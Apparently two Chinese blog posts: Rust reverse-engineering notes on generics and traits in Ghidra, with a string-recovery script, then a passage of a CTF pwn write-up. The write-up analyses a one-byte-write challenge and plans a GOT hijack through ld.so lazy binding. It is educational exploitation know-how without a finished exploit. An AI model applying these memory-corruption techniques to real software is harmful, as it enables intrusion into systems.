通过将Rust程序以release配置编译后发现,在release版本下,Ghidra已经无法识别函数的泛型类型,而是直接使用空来代替了(<>)。也就是说,Ghidra对于Rust泛型函数中泛型参数的识别必然是通过调试数据完成的。

在Rust ELF中,debug配置输出的ELF文件较release多了很多的节,这些节大多以debug开头,其中保存有一些调试信息。

其中最长的一个节是用于保存调试字符串的.debug.str节。在其他debug节中基本只能找到一些地址值,推测Ghidra可以通过这些节的数据找到想要的调试字符串,随后得到泛型参数信息。

.debug_str节包含的字符串数量实在太多,Ghidra还没有添加任何符号,因此我编写了一个Ghidra脚本识别其中的所有字符串并将其全部设置为String类型。(Ghidra脚本在本文最后附上)

然后就让我发现了:

这些字符串的排列还非常地整齐,能够进行完美的对应。由此,我们自己也可以识别出Rust中的泛型类型了。不过如果获取的ELF是release版本(未stripped),我们就无从得知这里的信息了,但依然可以通过函数名进行推断。由于Rust不允许C++/Java那样的同名不同参数类型函数重载,因此如果我们发现有多个函数除Hash值之外函数名完全相同,那么即可推断出这些函数一定是由一个泛型函数衍生而来。而且,这些函数中除了泛型类型不同之外其他内容完全相同,通过比较这些函数的差异,我们不仅能够知道泛型参数被用于何处,还能够分别识别出这些函数中实现的泛型参数。

下面我们尝试分析一下其中的一个函数:largest<i32>

Reverse for largest<i32>

首先通过对main函数的逆向,我们可以知道这个函数的传入参数类型。Ghidra专门定义了一个Rust的函数调用规则,称为__rustcall,用于标识Rust那种以两个参数作为返回值的函数调用规则。

该函数的参数由2个参数传递,共同标识一个&[i32]类型,这里判断不是Vec[i32]或者其他数组类型的原因是2个寄存器是切片类型传递所需要的,一个表示指针,另一个表示长度,和&str相同。

Part 1

一开始,这里Ghidra的汇编给的有问题,虽然已经识别了2个寄存器共同表示切片,但是寄存器对应关系出现了错误。这里应该是将切片数据复制2份分别保存到[rsp+0x50][rsp+0x10]。随后对切片的长度进行了验证,后面的JNC是跳转到panic相关操作的,这里略过。

Part 2

随后,注意0x108f79的指令,这里将rdi的值保存到了[rsp+0x40]中,实际上是对应了源码中的let mut largest: &T = &list[0];。对于&list[0],由于list[0]指向的是第一个元素,因此地址就等于切片中保存的地址,所以就可以直接取这个地址保存作为&list[0]。后面的迭代过程与第5篇blog中分析的相同。

Part 3

这里上半部分是对Option<i32>的解析,判断迭代是否到达终点。下面[rsp+0x20]是对Option<i32>i32值的提取,随后进行比较,这里比较使用的是core::cmp::impls::gt<i32,_i32>,即对i32内置类型实现的大于比较,因为这个函数对于泛型要求使用PartialOrd Trait,因此这里可以使用gt

通过对泛型函数内调用的函数的分析,我们可以逆向出该函数泛型类型需要实现的Trait。

Generics in Structs

1
2
3
4
5
6
7
8
9
10
11
12
struct Point<T> {
x: T,
y: T,
}

fn main() {
let integer = Point { x: 5, y: 10 };
let float = Point { x: 1.0, y: 4.0 };

println!("({}, {})", integer.x, integer.y);
println!("({}, {})", float.x, float.y);
}

同样地,我们能够在.debug_str节中找到对应的字符串定义:

不过这个定义与代码段的联系并不紧密,但好在Ghidra还是能够成功地完成识别,甚至连结构体的内容、局部变量的名称都能够获取:

这些信息当然就不可能是.debug_str节中能够获取的了,可能是保存到了其他的debug节,但具体的操作细节仍未可知,不敢妄下断言。另外,注意到Ghidra没有办法将局部变量对应到正确的栈偏移,因此对于局部变量与栈偏移的对应关系,还需要我们自己通过逆向分析确定。

Reverse for Trait

Trait实现

在Rust中,伴随泛型而存在的往往是各种各样的Trait,从功能上面来看,它类似于Java的interface,是需要被实现的某种“接口”,有了这个接口,Struct就能够完成一类操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pub trait Summary {
fn summarize(&self) -> String;
}

pub struct NewsArticle {
pub headline: String,
pub location: String,
pub author: String,
pub content: String,
}

impl Summary for NewsArticle {
fn summarize(&self) -> String {
format!("{}, by {} ({})", self.headline, self.author, self.location)
}
}

fn main() {
let na = NewsArticle {
headline: "BBC".to_string(),
location: "England".to_string(),
author: "NA".to_string(),
content: "NA".to_string(),
};
println!("{}", na.summarize());
}

上面的Rust编译得到的debug文件中,我们只需要关注一个东西即可——实现Trait的方法名。有关于Struct的相关分析在前面的文章中已经提及。

1
_ZN55_$LT$lab_04..NewsArticle$u20$as$u20$lab_04..Summary$GT$9summarize17hc6d5c31e0731e854E

转义完成后就变成了:

1
<lab_04::NewsArticle as lab_04::Summary> summarize

尖括号里面左边是Struct名,右边是Trait名,最后是Trait中的方法名。因此这个函数名完全可以让我们还原出它的原貌。另外需要注意这个函数的参数类型。它的返回值是作为一个指针以第一个参数传递的,第二个参数则是Struct实例本身的指针,这种传参方式和__thiscall比较像,不过是在前面加上了返回值的传参。

默认Trait

另外,Rust支持实现默认的Trait方法,经过尝试发现,如果一个Struct实现了默认的Trait方法,即在impl块中啥都不写,在ELF中就会为这个Struct生成一个函数,这个函数的this指针类型为该Struct。如果有多个Struct都实现了默认Trait方法,就会生成多个这样的函数,这些函数在命名上除了Hash值不同之外其他相同:

1
2
_ZN6lab_047Summary9summarize17h2b64b82f1eb531e6E
_ZN6lab_047Summary9summarize17h00d706f563e0ebb6E

转义之后为:

1
lab_04::Summary::summarize

仅提供Trait名与方法名。

Trait作为参数

经过试验发现,Trait作为参数时,与函数加入泛型有着类似的处理方式。实际上,下面两种写法在语义上本来就是类似的:

1
2
3
4
5
6
7
pub fn notify(item: impl Summary) {
println!("Breaking news! {}", item.summarize());
}

pub fn notify<T: Summary>(item: T) {
println!("Breaking news! {}", item.summarize());
}

不过有一点不同的是,带有泛型的函数(第二种写法)在调试信息中可以找到函数实现的泛型类型(表现为notify<xxx>(xxx item)),但是第一种写法只能给出具体的类型(表现为notify(xxx item))。在用法上,这两种写法有微小区别。如果参数有多个我们就能看出区别:

1
2
3
4
5
6
7
8
9
10
11
pub fn notify(item1: impl Summary, item2: impl Summary) {
...
}

pub fn notify<T: Summary, U: Summary>(item1: T, item2: U) {
...
}

pub fn notify<T: Summary>(item1: T, item2: T) {
...
}

上面3种写法,前两种语义相同,但第一种与第三种语义不同,第三种强制两个参数必须为同一个类型。在汇编层实现上,对于第一种写法,如果一共有n个Struct实现了Summary,那么最多要实现n2个函数,用于表示n2种不同的两个参数类型组合。

在原书中还提到了有条件实现方法等Trait的使用方式,但无论如何,Rust编译器都需要对每一种不同参数的函数/方法/Struct使用分别实现函数/方法/Struct。另外还有将impl类型作为返回值的说明,这部分留到分析原书第17章相关内容时再去研究。

总结

本文简单分析了泛型以及Trait在汇编层的表现:

  • 带有泛型参数的函数对于每一种不同类型的参数传递操作都会实现一个单独的函数处理。
  • 带有泛型的结构在实现中直接针对具体的类型分别实现。
  • Ghidra能够从带有调试信息的Rust ELF中获取函数实现的泛型类型。
  • 实现了Trait的Struct的对应方法能够通过函数名识别。
  • 实现了默认Trait的Struct的对应方法只能根据参数类型推断具体实现的Struct。
  • 如果有同名函数(不比较Hash)存在,由两种可能——带有泛型的函数与实现了默认Trait的Struct方法,如果有调试信息,则能够获取泛型类型的为前者,否则为后者。

字符串恢复脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
// This is a Ghidra script for adding string literals that may not be recognized by Ghidra.
//
// Usage:
// Before the script process, you need to notice the JSON file including necessary information. It's automatically
// saved in "<HOMEDIR>/.ghidra_scripts/ShortStringAdder.json".
//
// The JSON file needs to be deserialized into `ConfigReader` class, here is its format:
//
// {
// "minimum_string_length": 3,
// "maximum_search_range": 256, // 0 represents no check for adjacent strings
// "separators": [0],
// "extra_regex": ["\u001b\\[([0-9]+;)*([0-9]+)m([\\x20-\\x7e]|\\t|\\n|\\r|(\u001b\\[([0-9]+;)*([0-9]+)m))*"]
// }
//
// - minimum_string_length: The minimum length of string that will be recognized and added.
// - maximum_search_range: We will search if there exist other strings frontward and backward, it's the maximum range.
// - separators: The separators of string literal. In some programming language (like rust), string literals might
// not end with "\0". You can add ascii integer value here to add separators.
// - extra_regex: some regex strings that you may want to define them as strings (even if they may have some unprintable
// chars), like UNIX color control (Added by default).
//
//@author Hornos - Hornos3.github.com, hornos@hust.edu.cn
//@category Strings

import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import ghidra.app.plugin.core.searchmem.RegExSearchData;
import ghidra.app.script.GhidraScript;
import ghidra.program.model.address.*;
import ghidra.program.model.data.DataType;
import ghidra.program.model.data.StringDataType;
import ghidra.program.model.listing.Data;
import ghidra.program.model.mem.Memory;
import ghidra.program.model.mem.MemoryAccessException;
import ghidra.program.model.util.CodeUnitInsertionException;
import ghidra.util.datastruct.ListAccumulator;
import ghidra.util.search.memory.MemSearchResult;
import ghidra.util.search.memory.RegExMemSearcherAlgorithm;
import ghidra.util.search.memory.SearchInfo;

import java.io.*;
import java.util.*;

import static ghidra.program.model.listing.CodeUnit.EOL_COMMENT;

public class ShortStringAdder extends GhidraScript {
static class ConfigReader {
int minimum_string_length;
int maximum_search_range;
HashSet<Byte> separators;
ArrayList<String> extra_regex;

public static ConfigReader from_json(String filename)
throws FileNotFoundException, com.google.gson.JsonSyntaxException, com.google.gson.JsonIOException {
GsonBuilder builder = new GsonBuilder();
Gson gson = builder.create();

FileReader file = new FileReader(filename);
return gson.fromJson(file, ConfigReader.class);
}
}

ConfigReader config;
private final String homedir = System.getProperty("user.home");

@Override
protected void run() throws Exception {
read_config();

Memory mem = currentProgram.getMemory();
AddressSetView addrs = mem.getAllInitializedAddressSet();
long numAddr = addrs.getNumAddresses();
long counter = 0;
int progress_percent = 0;
printf("Address size: %#x\n", numAddr);

TreeMap<Address, String> string_map = new TreeMap<>();
// check all addresses
for (Address addr : addrs.getAddresses(true)) {
counter++;
if (counter * 100 / numAddr > progress_percent)
printf("Progress: %d%%\n", ++progress_percent);

String created = create_string(addr);
if ( created == null )
continue;

string_map.put(addr, created);
}

// match all regexes
TreeMap<String, TreeMap<Address, String>> regexMatches = match_regex();
print_regex_match_results(regexMatches);
string_map.putAll(merge_regex_result(regexMatches));

Vector<Address> errorAddrs = new Vector<>();

for(Map.Entry<Address, String> entry: string_map.entrySet()) {
String created = entry.getValue();
Address addr = entry.getKey();
DataType dt = new StringDataType();

if (!has_adjacent_strings(addr)) {
printf("Address %#x (%s) has no adjacent string, skipped\n", addr.getOffset(), created);
continue;
}

try {
currentProgram.getListing().createData(addr, dt);
printf("Created a string \"%s\" at %#x.\n", created, addr.getOffset());
currentProgram.getListing().setComment(addr, EOL_COMMENT, "Script-added string literal");
} catch (CodeUnitInsertionException e) {
printf("Error while adding string at %#x, skipped.\n", addr.getOffset());
errorAddrs.add(addr);
e.printStackTrace();
}
}

if (errorAddrs.isEmpty())
printf("\n0 exception occurred0.\n");
else {
printf("\n%d exception occurred, you may need to handle it manually.\n", errorAddrs.size());
println("At: ");
for (Address errorAddr : errorAddrs) printf("%#x\n", errorAddr.getOffset());
}
println();
}

private void read_config() throws Exception {
String filepath = homedir + "/.ghidra_scripts/ShortStringAdder.json";
File dir = new File(homedir + "/.ghidra_scripts");
File file = new File(filepath);

// check if the dir exists, if not, create it
if (!dir.exists()) {
println("[-] ~/.ghidra_scripts not found, will create...");
if (!dir.mkdirs()) {
println("[!] Failed to create ~/.ghidra_scripts");
return;
}
}

// check if the file exists, if not, create it
if (!file.exists()) {
println("[-] ~/.ghidra_scripts/config.json not found, will create...");
try (FileWriter writer = new FileWriter(file)) {
// default configs, the regex is for UNIX color control (like \033[1;31m...\033[0m)
writer.write("{\n" +
" \"minimum_string_length\": 3,\n" +
" \"maximum_search_range\": 255,\n" +
" \"separators\": [0],\n" +
" \"extra_regex\": [\"\\u001b\\\\[([0-9]+;)*([0-9]+)m([\\\\x20-\\\\x7e]|\\\\t|\\\\n|\\\\r|(\\u001b\\\\[([0-9]+;)*([0-9]+)m))*\"]\n" +
"}");
println("[-] Default config created, you can change it in ~/.ghidra_scripts/ShortStringAdder.json.");
} catch (IOException e) {
println("[!] Failed to create ~/.ghidra_scripts/ShortStringAdder.json: " + e.getMessage());
throw new Exception("Create config file failed");
}
}

this.config = ConfigReader.from_json(filepath);
}

private String create_string(Address addr) {
StringBuilder ret = new StringBuilder();

if (currentProgram.getListing().getDataContaining(addr) != null) {
if (currentProgram.getListing().getDataContaining(addr).isDefined())
return null;
}
if (currentProgram.getListing().getInstructionContaining(addr) != null) {
// TODO: get strings wrongly identified as codes
return null;
}

try {
if (currentProgram.getMemory().contains(addr.subtract(1))){
byte previous_byte = currentProgram.getMemory().getByte(addr.subtract(1));
if (!this.config.separators.contains(previous_byte))
return null;
}
} catch (MemoryAccessException e) {
printf("Failed to read byte located in %#x\n", addr.subtract(1).getOffset());
e.printStackTrace();
return null;
} catch (AddressOutOfBoundsException ignored) {}

Address ptr = addr;
int offset = 0;
while (true) {
try {
ptr = addr.add(offset);
byte b = currentProgram.getMemory().getByte(ptr);
// all printable character (including \t, \n, \r), if conflicted with separators, the latter is dominant
if (((b >= 0x20 && b <= 0x7e) || b == 9 || b == 10 || b == 0xd) &&
!this.config.separators.contains(b)) {
ret.append((char) (b & 0xff));
offset++;
}
else if (!this.config.separators.contains(b)) // It ends with neither a printable nor a separator
return null;
else
break;
} catch (MemoryAccessException e) {
printf("Failed to read byte located in %#x\n", ptr.getOffset());
e.printStackTrace();
return null;
}
}

if (offset >= config.minimum_string_length)
return ret.toString();
return null;
}

private TreeMap<String, TreeMap<Address, String>> match_regex() throws MemoryAccessException {
TreeMap<String, TreeMap<Address, String>> resultMap = new TreeMap<>();
for (String re: config.extra_regex) {
TreeMap<Address, String> result = new TreeMap<>();
println("Start matching regular expression: " + re);

SearchInfo searchInfo = new SearchInfo(
new RegExSearchData(re), 10000, false, true, 1, true, null);
RegExMemSearcherAlgorithm searcher = new RegExMemSearcherAlgorithm(
searchInfo, currentProgram.getMemory().getAllInitializedAddressSet(), currentProgram, true);
ListAccumulator<MemSearchResult> searchResults = new ListAccumulator<>();
searcher.search(searchResults, monitor);
List<MemSearchResult> resultList = searchResults.asList();

for (MemSearchResult r: resultList) {
Address startAddr = r.getAddress();
int matchLen = r.getLength();
byte[] matchedBytes = new byte[matchLen];
currentProgram.getMemory().getBytes(startAddr, matchedBytes);
String matchedString = new String(matchedBytes);
result.put(startAddr, matchedString);
}

resultMap.put(re, result);
}
return resultMap;
}

private TreeMap<Address, String> merge_regex_result(TreeMap<String, TreeMap<Address, String>> results) {
// This method is used for selecting the primary matches while discarding overlapping matches
// E.g. There are 3 matches at 0x0~0x10, 0x9~0x15, 0x12~0x20, then the second one will be discarded.
TreeMap<Address, String> ret = new TreeMap<>();
for (Map.Entry<String, TreeMap<Address, String>> entry: results.entrySet())
ret.putAll(entry.getValue());

// eliminate overlapping matches
long largestRangeUpperLimit = -1;
Iterator<Map.Entry<Address, String>> iter = ret.entrySet().iterator();
while (iter.hasNext()) {
Map.Entry<Address, String> entry = iter.next();
if (entry.getKey().getOffset() + entry.getValue().length() > largestRangeUpperLimit)
largestRangeUpperLimit = entry.getKey().getOffset() + entry.getValue().length();
else {
printf("Warning: %s (at %#x) removed due to overlapping memory address.\n",
entry.getValue(), entry.getKey().getOffset());
iter.remove();
}
}

return ret;
}

private void print_regex_match_results(TreeMap<String, TreeMap<Address, String>> result) {
printf("\nMatch result:\n");
for (Map.Entry<String, TreeMap<Address, String>> entry: result.entrySet()) {
printf("%s:\n", entry.getKey());
if (entry.getValue().entrySet().isEmpty()) {
printf("\tNo matches.\n");
continue;
}
for (Map.Entry<Address, String> m: entry.getValue().entrySet())
printf("\t%#x: %s\n", m.getKey().getOffset(), m.getValue());
}
}

private boolean has_adjacent_strings(Address addr) {
Data rearData = currentProgram.getListing().getDataBefore(addr);
Data frontData = currentProgram.getListing().getDataAfter(addr);
return (rearData != null && addr.subtract(rearData.getAddress()) <= this.config.maximum_search_range) ||
(frontData != null &&
frontData.getAddress().subtract(addr) <= this.config.maximum_search_range);
}
}

2024年的巅峰极客可以说是强Web组的大福利,除了Web其他类型居然各自只有1道题,令人困惑。在pwn方向只有一道题,但这道题质量比较高,涉及的利用链比较复杂,虽然在现实应用中基本不可能用到,但还是值得学习一番。

幸运的是,在网上找到了讲解此类利用方式的blog,其中使用的示例与本题完全相同:传送门。下面的分析主要参考上面的blog。

A. 题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stddef.h>

char* chunk = NULL;

void __attribute__((constructor)) nightmare()
{
if (!chunk)
chunk = malloc(0x40000);
uint8_t byte = 0;
size_t offset = 0;

read(0, &offset, sizeof(size_t));
read(0, &byte, sizeof(uint8_t));

chunk[offset] = byte;

write(1, "BORN TO WRITE WORLD IS A CHUNK 鬼神 LSB Em All 1972 I am mov man 410,757,864,530 CORRUPTED POINTERS", 101);
_Exit(0);
}

int main()
{
_Exit(0);
}

这是blog中提到的源码(删除了seccomp,原题并无沙箱),与本题的源码除了write的字符串之外其他没有任何不同。__attribute__((constructor))是C语言的一个特性,被该特性所修饰的函数能够在main函数之前执行。在二进制文件中,可以观察到这个函数是通过init调用的。

nightmare函数的开始,程序分配了一个0x40000的大chunk。对于此类chunk,Glibc通常都是通过调用mmap实现分配的,且第一个分配的此类chunk应正好位于Glibc加载地址的低地址处。需要注意这个chunk的分配地址特点,这是我们完成利用的前提条件之一。

随后,我们可以输入offset与byte,程序以chunk为基地址,offset为偏移,能够实现一个字节的写入。随后输出一个字符串后调用_Exit退出。

B. 无限写入

如果我们仅仅是只能写入1个字节,那么复杂的利用无论如何也是无法完成的。因此我们要想办法无限循环nightmare函数。虽然我们在退出之前只能写入1个字节,但这1个字节已经足以让_Exit函数失能了。没错,本题是Partial RELRO,我们可以通过令ld错误解析_Exit函数,将_Exit.got指向其他函数,即可让_Exit调用其他函数而不是退出。(因为写入是以chunk为基地址,考虑ASLR保护,我们无法获取程序的got表的偏移,也就无法直接写入)

需要注意的是,nightmare函数由于是以_Exit结尾的,因此它隐式包含了__noreturn标签,即该函数并非以ret指令结尾,而是以调用_Exit的指令结尾。通过简单的逆向分析可以发现,nightmare函数(题目中为以0x11A9地址开始的函数)的下面就是main函数和init函数。因此当_Exit不退出并执行结束后,程序将会首先去执行main,而main中的_Exit也不会退出程序,因此会继续执行下面的init函数,这样就产生了一个init -> nightmare -> main -> init的无限循环。

因此下面我们需要深入分析got表的解析流程。

B.1 ld.so 对 GOT 表的解析流程

首先我们都知道,在Partial RELRO的ELF程序中存在.plt节和.got节。在第一次调用某个库函数时,会通过.plt节中的跳转到ld.so中解析函数地址。在本题中,nightmare函数直接调用的是.plt.sec节地址,这个节会跳转到.plt节。本题中.plt节中一共有5个条目,后面4个分别对应于got表中的4个函数,而第1个则是跳转到函数解析流程。

在本题中,对于第一次调用read函数,跳转流程是这样的:

1
2
3
4
read@plt.sec    (0x1090)
read@plt (0x1040)
PLT[0] (0x1020)
ld.so

随后,我们跟随调试,结合源码进入ld.so查看。

直接进入的是_dl_runtime_resolve_xsavec,这个函数使用汇编语言编写,位于/sysdeps/x86_64/dl-trampoline.h,如下所示,首先保存一些寄存器状态后传入2个参数,随后调用_dl_fixup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pwndbg> x/10i 0x7ffff7fd8d30
=> 0x7ffff7fd8d30 <_dl_runtime_resolve_xsavec>: endbr64
0x7ffff7fd8d34 <_dl_runtime_resolve_xsavec+4>: push rbx
0x7ffff7fd8d35 <_dl_runtime_resolve_xsavec+5>: mov rbx,rsp
0x7ffff7fd8d38 <_dl_runtime_resolve_xsavec+8>: and rsp,0xffffffffffffffc0
0x7ffff7fd8d3c <_dl_runtime_resolve_xsavec+12>: sub rsp,QWORD PTR [rip+0x23f4d] # 0x7ffff7ffcc90 <_rtld_global_ro+432>
0x7ffff7fd8d43 <_dl_runtime_resolve_xsavec+19>: mov QWORD PTR [rsp],rax
0x7ffff7fd8d47 <_dl_runtime_resolve_xsavec+23>: mov QWORD PTR [rsp+0x8],rcx
0x7ffff7fd8d4c <_dl_runtime_resolve_xsavec+28>: mov QWORD PTR [rsp+0x10],rdx
0x7ffff7fd8d51 <_dl_runtime_resolve_xsavec+33>: mov QWORD PTR [rsp+0x18],rsi
0x7ffff7fd8d56 <_dl_runtime_resolve_xsavec+38>: mov QWORD PTR [rsp+0x20],rdi
pwndbg>
0x7ffff7fd8d5b <_dl_runtime_resolve_xsavec+43>: mov QWORD PTR [rsp+0x28],r8
0x7ffff7fd8d60 <_dl_runtime_resolve_xsavec+48>: mov QWORD PTR [rsp+0x30],r9
0x7ffff7fd8d65 <_dl_runtime_resolve_xsavec+53>: mov eax,0xee
0x7ffff7fd8d6a <_dl_runtime_resolve_xsavec+58>: xor edx,edx
0x7ffff7fd8d6c <_dl_runtime_resolve_xsavec+60>: mov QWORD PTR [rsp+0x250],rdx
0x7ffff7fd8d74 <_dl_runtime_resolve_xsavec+68>: mov QWORD PTR [rsp+0x258],rdx
0x7ffff7fd8d7c <_dl_runtime_resolve_xsavec+76>: mov QWORD PTR [rsp+0x260],rdx
0x7ffff7fd8d84 <_dl_runtime_resolve_xsavec+84>: mov QWORD PTR [rsp+0x268],rdx
0x7ffff7fd8d8c <_dl_runtime_resolve_xsavec+92>: mov QWORD PTR [rsp+0x270],rdx
0x7ffff7fd8d94 <_dl_runtime_resolve_xsavec+100>: mov QWORD PTR [rsp+0x278],rdx
pwndbg>
0x7ffff7fd8d9c <_dl_runtime_resolve_xsavec+108>: xsavec [rsp+0x40]
0x7ffff7fd8da1 <_dl_runtime_resolve_xsavec+113>: mov rsi,QWORD PTR [rbx+0x10]
0x7ffff7fd8da5 <_dl_runtime_resolve_xsavec+117>: mov rdi,QWORD PTR [rbx+0x8]
0x7ffff7fd8da9 <_dl_runtime_resolve_xsavec+121>: call 0x7ffff7fd5e70 <_dl_fixup>
0x7ffff7fd8dae <_dl_runtime_resolve_xsavec+126>: mov r11,rax
0x7ffff7fd8db1 <_dl_runtime_resolve_xsavec+129>: mov eax,0xee
0x7ffff7fd8db6 <_dl_runtime_resolve_xsavec+134>: xor edx,edx
0x7ffff7fd8db8 <_dl_runtime_resolve_xsavec+136>: xrstor [rsp+0x40]
0x7ffff7fd8dbd <_dl_runtime_resolve_xsavec+141>: mov r9,QWORD PTR [rsp+0x30]
0x7ffff7fd8dc2 <_dl_runtime_resolve_xsavec+146>: mov r8,QWORD PTR [rsp+0x28]
pwndbg>
0x7ffff7fd8dc7 <_dl_runtime_resolve_xsavec+151>: mov rdi,QWORD PTR [rsp+0x20]
0x7ffff7fd8dcc <_dl_runtime_resolve_xsavec+156>: mov rsi,QWORD PTR [rsp+0x18]
0x7ffff7fd8dd1 <_dl_runtime_resolve_xsavec+161>: mov rdx,QWORD PTR [rsp+0x10]
0x7ffff7fd8dd6 <_dl_runtime_resolve_xsavec+166>: mov rcx,QWORD PTR [rsp+0x8]
0x7ffff7fd8ddb <_dl_runtime_resolve_xsavec+171>: mov rax,QWORD PTR [rsp]
0x7ffff7fd8ddf <_dl_runtime_resolve_xsavec+175>: mov rsp,rbx
0x7ffff7fd8de2 <_dl_runtime_resolve_xsavec+178>: mov rbx,QWORD PTR [rsp]
0x7ffff7fd8de6 <_dl_runtime_resolve_xsavec+182>: add rsp,0x18
0x7ffff7fd8dea <_dl_runtime_resolve_xsavec+186>: jmp r11

_dl_fixup的第一个参数是struct link_map*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// /elf/link.h, line 95

/* Structure describing a loaded shared object. The `l_next' and `l_prev'
members form a chain of all the shared objects loaded at startup.

These data structures exist in space used by the run-time dynamic linker;
modifying them may have disastrous results. */

struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */

ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
};

这是一个链表结构,保存有ELF文件需要加载的所有动态链接库信息。链表的第一个元素保存ELF文件的加载地址,name为空。其后依次为各个动态链接库的加载地址与名字。因为要查找一个函数的地址,首先我们不知道它属于哪个动态链接库,因此需要遍历处理。需要注意的是,有两个link_map结构,上面那个是简化版,还有一个非常复杂的位于/include/link.h

下面是某次执行时的link_map结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> tele 0x7ffff7ffe2e0
00:0000│ rdi 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
01:0008│ 0x7ffff7ffe2e8 —▸ 0x7ffff7ffe888 ◂— 0
02:0010│ 0x7ffff7ffe2f0 —▸ 0x555555557df8 ◂— 1
03:0018│ 0x7ffff7ffe2f8 —▸ 0x7ffff7ffe890 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047

pwndbg> tele 0x7ffff7ffe890
00:0000│ 0x7ffff7ffe890 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047
01:0008│ 0x7ffff7ffe898 —▸ 0x7ffff7fc1371 ◂— insb byte ptr [rdi], dx /* 'linux-vdso.so.1' */
02:0010│ 0x7ffff7ffe8a0 —▸ 0x7ffff7fc13e0 ◂— 0xe
03:0018│ 0x7ffff7ffe8a8 —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d78000 ◂— 0x3010102464c457f

pwndbg> tele 0x7ffff7fbb160
00:0000│ 0x7ffff7fbb160 —▸ 0x7ffff7d78000 ◂— 0x3010102464c457f
01:0008│ 0x7ffff7fbb168 —▸ 0x7ffff7fbb140 ◂— '/lib/x86_64-linux-gnu/libc.so.6'
02:0010│ 0x7ffff7fbb170 —▸ 0x7ffff7f91bc0 (_DYNAMIC) ◂— 1
03:0018│ 0x7ffff7fbb178 —▸ 0x7ffff7ffdaf0 (_rtld_global+2736) —▸ 0x7ffff7fc3000 ◂— 0x3010102464c457f

pwndbg> tele 0x7ffff7ffdaf0
00:0000│ 0x7ffff7ffdaf0 (_rtld_global+2736) —▸ 0x7ffff7fc3000 ◂— 0x3010102464c457f
01:0008│ 0x7ffff7ffdaf8 (_rtld_global+2744) —▸ 0x555555554318 ◂— '/lib64/ld-linux-x86-64.so.2'
02:0010│ 0x7ffff7ffdb00 (_rtld_global+2752) —▸ 0x7ffff7ffce80 (_DYNAMIC) ◂— 0xe
03:0018│ 0x7ffff7ffdb08 (_rtld_global+2760) ◂— 0

由上述数据可知,ELF的加载地址应位于0x555555554000,加载了3个动态链接库,依次为linux-vdso.so.1、/lib/x86_64-linux-gnu/libc.so.6、/lib64/ld-linux-x86-64.so.2。第2个参数则是我们要解析的函数位于ELF got表中的地址中的索引值。

_dl_fixup第一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

这里有一些宏定义需要下面的引用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// /elf/link.h, line 28

/* We use this macro to refer to ELF types independent of the native wordsize.
`ElfW(TYPE)' is used in place of `Elf32_TYPE' or `Elf64_TYPE'. */
#define ElfW(type) _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t) _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t) e##w##t

// /sysdeps/generic/ldsodefs.h, line 78

# define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)

// /elf/elf.h, line 858

#define DT_SYMTAB 6 /* Address of symbol table */

// /elf/dl-runtime.c, line 67

const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]); // l->l_info[6]->d_un.d_ptr + l->l_addr
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

// /elf/dl-runtime.c, line 34

# define PLTREL ElfW(Rela)

__ELF_NATIVE_CLASS为64,因此第一条语句即为获取ELF的.symtab节地址,即符号表地址。具体的获取方式如下:

在ELF中有.dynamic节,其中保存有本ELF文件多个节的地址信息:

1
